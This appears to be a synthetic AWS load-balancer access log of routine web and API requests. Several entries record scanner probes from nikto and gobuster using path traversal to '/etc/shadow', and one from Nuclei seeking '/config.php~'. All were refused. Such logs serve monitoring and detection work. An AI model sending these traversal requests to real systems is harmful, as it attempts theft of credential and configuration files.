prod-web-alb 140.35.115.51:39224 10.0.115.19:443 0.031328 0.142316 0.090002 200 200 589 13187 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c301-dc9698f5981c4991b2c3e684" "prod-web-alb.example.com" "-" 8 2024-11-01T00:48:49.940322Z "forward" "-" "-" "10.0.115.19:443" "200" "-" "-" +https 2024-11-01T00:48:50.821401Z prod-web-alb 50.164.59.112:13061 10.0.179.80:443 0.067678 0.136341 0.079124 302 302 331 1347 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c302-118832addca7455fb128612b" "prod-web-alb.example.com" "-" 8 2024-11-01T00:48:50.821401Z "forward" "-" "-" "10.0.179.80:443" "302" "-" "-" +https 2024-11-01T00:48:52.527244Z staging-alb 53.113.2.104:51169 72.128.49.178:80 0.049175 0.261211 0.047159 200 200 638 14909 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c304-9bf1dcb1f13c4cbea200023e" "staging-alb.example.com" "-" 0 2024-11-01T00:48:52.527244Z "forward" "-" "-" "72.128.49.178:80" "200" "-" "-" +https 2024-11-01T00:48:54.046538Z prod-api-alb 126.43.106.187:39625 10.0.218.218:443 0.045084 0.411903 0.095218 200 200 333 14284 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c306-4ba46f2852f44e9ea580bd18" "prod-api-alb.example.com" "-" 10 2024-11-01T00:48:54.046538Z "forward" "-" "-" "10.0.218.218:443" "200" "-" "-" +http 2024-11-01T00:48:55.244490Z staging-alb 138.253.178.64:47013 26.155.16.228:8080 0.107217 0.608157 0.117498 200 200 306 12359 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c307-d19eb90f7408405b944367f6" "staging-alb.example.com" "-" 8 2024-11-01T00:48:55.244490Z "forward" "-" "-" "26.155.16.228:8080" "200" "-" "-" +https 2024-11-01T00:48:56.697456Z prod-web-alb 152.238.49.31:14504 10.0.233.67:443 0.043944 0.439029 0.038712 200 200 161 5870 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c308-eba6c34cce504968b89666a9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:48:56.697456Z "forward" "-" "-" "10.0.233.67:443" "200" "-" "-" +https 2024-11-01T00:48:57.868136Z prod-api-alb 245.7.208.227:54830 10.0.66.37:443 0.076555 0.154522 0.021557 302 302 434 1907 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c309-a369cedfb97743848f49ef37" "prod-api-alb.example.com" "-" 9 2024-11-01T00:48:57.868136Z "forward" "-" "-" "10.0.66.37:443" "302" "-" "-" +https 2024-11-01T00:48:59.356439Z prod-api-alb 236.110.66.252:52413 10.0.128.5:443 0.044306 0.432603 0.069568 404 404 659 14987 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c30b-3e50e68e4a2445c0b6861ba0" "prod-api-alb.example.com" "-" 7 2024-11-01T00:48:59.356439Z "forward" "-" "-" "10.0.128.5:443" "404" "-" "-" +https 2024-11-01T00:48:59.509800Z prod-api-alb 152.160.147.127:33160 10.0.234.212:443 0.093804 0.311718 0.098111 200 200 67 7476 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c30b-ae8d435e232d407c9e23b483" "prod-api-alb.example.com" "-" 7 2024-11-01T00:48:59.509800Z "forward" "-" "-" "10.0.234.212:443" "200" "-" "-" +https 2024-11-01T00:49:01.472173Z staging-alb 98.143.65.75:35203 162.173.102.104:80 0.013551 0.017938 0.078801 404 404 792 4729 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c30d-379f8ffbb6a848b0b354553a" "staging-alb.example.com" "-" 1 2024-11-01T00:49:01.472173Z "forward" "-" "-" "162.173.102.104:80" "404" "-" "-" +https 2024-11-01T00:49:01.841013Z prod-api-alb 29.18.137.152:14256 10.0.35.221:443 0.099373 0.281090 0.050641 200 200 974 8096 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c30d-e3cae5beab014417b2edcb93" "prod-api-alb.example.com" "-" 2 2024-11-01T00:49:01.841013Z "forward" "-" "-" "10.0.35.221:443" "200" "-" "-" +https 2024-11-01T00:49:03.165684Z prod-web-alb 216.32.127.82:15908 10.0.1.59:443 0.042077 0.453237 0.021471 200 200 317 7643 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c30f-fc40e043f868485cbb161bed" "prod-web-alb.example.com" "-" 0 2024-11-01T00:49:03.165684Z "forward" "-" "-" "10.0.1.59:443" "200" "-" "-" +https 2024-11-01T00:49:03.857509Z prod-web-alb 14.73.41.231:39462 10.0.198.203:443 0.074332 0.076572 0.067224 200 200 221 12437 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c30f-cb99dcabaa8d496ea6e65af3" "-" "-" 5 2024-11-01T00:49:03.857509Z "forward" "-" "-" "10.0.198.203:443" "200" "-" "-" +https 2024-11-01T00:49:05.535936Z prod-api-alb 115.145.161.83:52152 10.0.138.7:443 0.025886 0.428292 0.066663 301 301 476 2901 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c311-1d8710b0d06f451182b62af2" "prod-api-alb.example.com" "-" 6 2024-11-01T00:49:05.535936Z "forward" "-" "-" "10.0.138.7:443" "301" "-" "-" +https 2024-11-01T00:49:06.273491Z staging-alb 0.141.80.238:20332 26.64.108.195:8080 0.073733 0.363568 0.038538 302 302 813 10373 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c312-5f0e2aa8d09f411299210673" "staging-alb.example.com" "-" 1 2024-11-01T00:49:06.273491Z "forward" "-" "-" "26.64.108.195:8080" "302" "-" "-" +https 2024-11-01T00:49:06.511077Z prod-api-alb 192.49.59.24:56183 10.0.247.241:443 0.010519 0.027122 0.064031 404 404 510 7495 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c312-cd7e06a080f14eec84ec42fd" "prod-api-alb.example.com" "-" 8 2024-11-01T00:49:06.511077Z "forward" "-" "-" "10.0.247.241:443" "404" "-" "-" +https 2024-11-01T00:49:06.912831Z prod-api-alb 45.155.205.70:63958 10.0.39.197:443 0.075766 0.401447 0.034534 403 403 903 5648 "GET /config.php~ HTTP/1.1" "Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c312-7f1e3a9897544f2d9ab4908f" "-" "-" 7 2024-11-01T00:49:06.912831Z "forward" "-" "-" "10.0.39.197:443" "403" "-" "-" +https 2024-11-01T00:49:08.543228Z prod-web-alb 97.63.159.27:57484 10.0.2.218:443 0.041495 0.082883 0.088228 200 200 824 11045 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c314-b15d8127f87f476b982eb453" "-" "-" 0 2024-11-01T00:49:08.543228Z "forward" "-" "-" "10.0.2.218:443" "200" "-" "-" +https 2024-11-01T00:49:10.036305Z prod-api-alb 162.126.5.216:21179 10.0.190.195:443 0.045411 0.071098 0.091000 200 200 239 14297 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c316-6c96a6f74a0646f191785a88" "prod-api-alb.example.com" "-" 5 2024-11-01T00:49:10.036305Z "forward" "-" "-" "10.0.190.195:443" "200" "-" "-" +https 2024-11-01T00:49:10.484818Z prod-web-alb 40.56.217.219:60783 10.0.59.241:443 0.070808 0.326352 0.025923 404 404 272 3364 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c316-87a9d59c83de47f994dd9f6e" "prod-web-alb.example.com" "-" 7 2024-11-01T00:49:10.484818Z "forward" "-" "-" "10.0.59.241:443" "404" "-" "-" +https 2024-11-01T00:49:10.666840Z prod-web-alb 48.55.211.13:48926 10.0.5.237:443 0.087286 0.053412 0.020332 200 200 113 4150 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c316-ff5c9008963145dfa87c0907" "prod-web-alb.example.com" "-" 2 2024-11-01T00:49:10.666840Z "forward" "-" "-" "10.0.5.237:443" "200" "-" "-" +https 2024-11-01T00:49:12.007460Z prod-api-alb 28.208.200.5:57727 10.0.79.249:443 0.009613 0.057562 0.008243 404 404 402 10080 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c318-df78ccdce736453499084c27" "prod-api-alb.example.com" "-" 7 2024-11-01T00:49:12.007460Z "forward" "-" "-" "10.0.79.249:443" "404" "-" "-" +https 2024-11-01T00:49:12.915247Z prod-api-alb 193.27.228.98:57347 10.0.146.182:443 0.008249 0.203801 0.048337 404 404 471 7883 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c318-d5a16cec9675408888838005" "-" "-" 1 2024-11-01T00:49:12.915247Z "forward" "-" "-" "10.0.146.182:443" "404" "-" "-" +https 2024-11-01T00:49:14.282142Z prod-web-alb 234.59.21.58:21726 10.0.8.201:443 0.014072 0.204742 0.049289 200 200 194 1723 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c31a-893dae7c3190403cb0a343d5" "prod-web-alb.example.com" "-" 7 2024-11-01T00:49:14.282142Z "forward" "-" "-" "10.0.8.201:443" "200" "-" "-" +https 2024-11-01T00:49:16.180580Z prod-api-alb 12.71.87.180:52481 10.0.245.149:443 0.086569 0.144765 0.079434 200 200 237 13136 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c31c-9af64444b55f4e5eaf035c37" "prod-api-alb.example.com" "-" 0 2024-11-01T00:49:16.180580Z "forward" "-" "-" "10.0.245.149:443" "200" "-" "-" +https 2024-11-01T00:49:18.126084Z prod-api-alb 173.226.192.40:34348 10.0.8.109:443 0.047002 0.109748 0.065142 301 301 176 3205 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c31e-13aa76802d3e442980c90886" "prod-api-alb.example.com" "-" 1 2024-11-01T00:49:18.126084Z "forward" "-" "-" "10.0.8.109:443" "301" "-" "-" +https 2024-11-01T00:49:19.344592Z staging-alb 37.140.74.111:61719 68.163.128.212:80 0.134695 0.707422 0.129612 301 301 210 5602 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c31f-eef7ca1ceb824863b7197010" "staging-alb.example.com" "-" 8 2024-11-01T00:49:19.344592Z "forward" "-" "-" "68.163.128.212:80" "301" "-" "-" +https 2024-11-01T00:49:19.637982Z prod-web-alb 158.98.208.97:18686 10.0.255.87:443 0.047006 0.026559 0.020553 404 404 204 2277 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c31f-f2771ad5d4544323be643aff" "prod-web-alb.example.com" "-" 6 2024-11-01T00:49:19.637982Z "forward" "-" "-" "10.0.255.87:443" "404" "-" "-" +https 2024-11-01T00:49:21.269466Z staging-alb 8.235.53.132:61881 80.218.232.170:8080 0.038475 0.553543 0.022406 301 301 845 9007 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c321-bfb5a2cf80254361b79e1c55" "staging-alb.example.com" "-" 2 2024-11-01T00:49:21.269466Z "forward" "-" "-" "80.218.232.170:8080" "301" "-" "-" +https 2024-11-01T00:49:22.309148Z prod-api-alb 250.27.220.137:38837 10.0.131.18:443 0.090002 0.439438 0.055169 200 200 732 7969 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c322-33fc71e3f2fa4e859adf5a71" "prod-api-alb.example.com" "-" 10 2024-11-01T00:49:22.309148Z "forward" "-" "-" "10.0.131.18:443" "200" "-" "-" +https 2024-11-01T00:49:23.809525Z prod-web-alb 149.16.234.128:17551 10.0.141.25:443 0.010047 0.368081 0.076083 302 302 940 2434 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c323-89c50b603f42448a9312f388" "prod-web-alb.example.com" "-" 6 2024-11-01T00:49:23.809525Z "forward" "-" "-" "10.0.141.25:443" "302" "-" "-" +https 2024-11-01T00:49:24.918924Z prod-api-alb 173.136.46.24:30169 10.0.8.55:443 0.016507 0.143972 0.041342 200 200 504 4562 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c324-d2172f9243f442d7ae2e11cb" "prod-api-alb.example.com" "-" 6 2024-11-01T00:49:24.918924Z "forward" "-" "-" "10.0.8.55:443" "200" "-" "-" +http 2024-11-01T00:49:26.339652Z staging-alb 25.126.116.62:43479 92.101.53.95:80 0.082492 0.295555 0.133756 302 302 304 14657 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c326-34233bd4956b4f61b813da41" "staging-alb.example.com" "-" 10 2024-11-01T00:49:26.339652Z "forward" "-" "-" "92.101.53.95:80" "302" "-" "-" +https 2024-11-01T00:49:27.155826Z prod-api-alb 45.155.205.141:31358 10.0.108.105:443 0.057678 0.447869 0.027574 403 403 67 3028 "GET /images/../../../../etc/shadow HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c327-e058874f000f4870ae58ed45" "-" "-" 10 2024-11-01T00:49:27.155826Z "forward" "-" "-" "10.0.108.105:443" "403" "-" "-" +https 2024-11-01T00:49:28.736770Z prod-web-alb 239.175.76.123:60429 10.0.163.153:443 0.074175 0.407783 0.032963 302 302 89 11283 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c328-77f8a8a740f9497a8e3502f8" "prod-web-alb.example.com" "-" 7 2024-11-01T00:49:28.736770Z "forward" "-" "-" "10.0.163.153:443" "302" "-" "-" +https 2024-11-01T00:49:30.249973Z prod-web-alb 178.183.159.208:23998 10.0.211.125:443 0.097388 0.160678 0.042658 200 200 891 8481 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c32a-3b8bd0e5ec134ed683badea8" "prod-web-alb.example.com" "-" 8 2024-11-01T00:49:30.249973Z "forward" "-" "-" "10.0.211.125:443" "200" "-" "-" +https 2024-11-01T00:49:31.405200Z prod-api-alb 255.140.229.199:14056 10.0.234.249:443 0.001005 0.056222 0.054518 302 302 455 10049 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c32b-78eaea87fbc64fe489292e45" "prod-api-alb.example.com" "-" 0 2024-11-01T00:49:31.405200Z "forward" "-" "-" "10.0.234.249:443" "302" "-" "-" +http 2024-11-01T00:49:33.316061Z staging-alb 165.221.245.206:31851 227.101.26.192:80 0.099276 0.499773 0.102509 200 200 294 8311 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c32d-5e2fd6a8268143cca1bef4f4" "staging-alb.example.com" "-" 8 2024-11-01T00:49:33.316061Z "forward" "-" "-" "227.101.26.192:80" "200" "-" "-" +http 2024-11-01T00:49:33.969199Z staging-alb 100.251.143.49:46365 182.101.67.17:80 0.111738 0.745056 0.009322 200 200 873 4068 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c32d-fca68371bf2c4f1ba9cf1032" "staging-alb.example.com" "-" 2 2024-11-01T00:49:33.969199Z "forward" "-" "-" "182.101.67.17:80" "200" "-" "-" +https 2024-11-01T00:49:34.353984Z prod-web-alb 26.106.13.95:32378 10.0.124.231:443 0.094101 0.201298 0.074797 200 200 274 5827 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c32e-5d7b761f57eb4dd7a4517324" "prod-web-alb.example.com" "-" 10 2024-11-01T00:49:34.353984Z "forward" "-" "-" "10.0.124.231:443" "200" "-" "-" +https 2024-11-01T00:49:34.505499Z prod-web-alb 67.115.253.54:36074 10.0.45.54:443 0.008030 0.010121 0.021125 302 302 82 7224 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c32e-d8d66d95c0b1420f9e86c8c3" "prod-web-alb.example.com" "-" 0 2024-11-01T00:49:34.505499Z "forward" "-" "-" "10.0.45.54:443" "302" "-" "-" +https 2024-11-01T00:49:35.503754Z prod-web-alb 108.7.153.213:48627 10.0.37.127:443 0.002653 0.177971 0.032714 301 301 380 7835 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c32f-571dd8aa94194556ae5693ce" "prod-web-alb.example.com" "-" 2 2024-11-01T00:49:35.503754Z "forward" "-" "-" "10.0.37.127:443" "301" "-" "-" +https 2024-11-01T00:49:36.913354Z prod-web-alb 235.131.27.178:60042 10.0.219.212:443 0.096111 0.332713 0.063677 200 200 100 2481 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c330-eef46d0e3bfc436b8f937782" "prod-web-alb.example.com" "-" 3 2024-11-01T00:49:36.913354Z "forward" "-" "-" "10.0.219.212:443" "200" "-" "-" +http 2024-11-01T00:49:37.557106Z staging-alb 235.245.45.129:13053 238.183.230.38:80 0.014339 0.231318 0.120386 200 200 124 14096 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c331-fdf8f0237a544b6083aa5f35" "staging-alb.example.com" "-" 0 2024-11-01T00:49:37.557106Z "forward" "-" "-" "238.183.230.38:80" "200" "-" "-" +https 2024-11-01T00:49:38.617071Z prod-web-alb 191.160.179.71:41976 10.0.113.83:443 0.090554 0.364641 0.051028 200 200 440 2645 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c332-1ece3e156c54472aa6cbd9b8" "prod-web-alb.example.com" "-" 4 2024-11-01T00:49:38.617071Z "forward" "-" "-" "10.0.113.83:443" "200" "-" "-" +https 2024-11-01T00:49:39.143913Z prod-api-alb 208.9.36.133:45714 10.0.169.16:443 0.073130 0.413307 0.095003 200 200 403 11900 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c333-2133404d7dee47f486f52cfb" "prod-api-alb.example.com" "-" 5 2024-11-01T00:49:39.143913Z "forward" "-" "-" "10.0.169.16:443" "200" "-" "-" +http 2024-11-01T00:49:40.203125Z staging-alb 221.194.40.95:36558 61.236.204.177:443 0.051680 0.192227 0.099057 200 200 622 11607 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c334-6cf348a86878454fa56922e7" "staging-alb.example.com" "-" 10 2024-11-01T00:49:40.203125Z "forward" "-" "-" "61.236.204.177:443" "200" "-" "-" +http 2024-11-01T00:49:41.945509Z staging-alb 115.160.236.57:60637 67.51.224.102:443 0.134292 0.473378 0.081843 200 200 187 13854 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c335-122c7ae705d7425db7e49f7a" "staging-alb.example.com" "-" 7 2024-11-01T00:49:41.945509Z "forward" 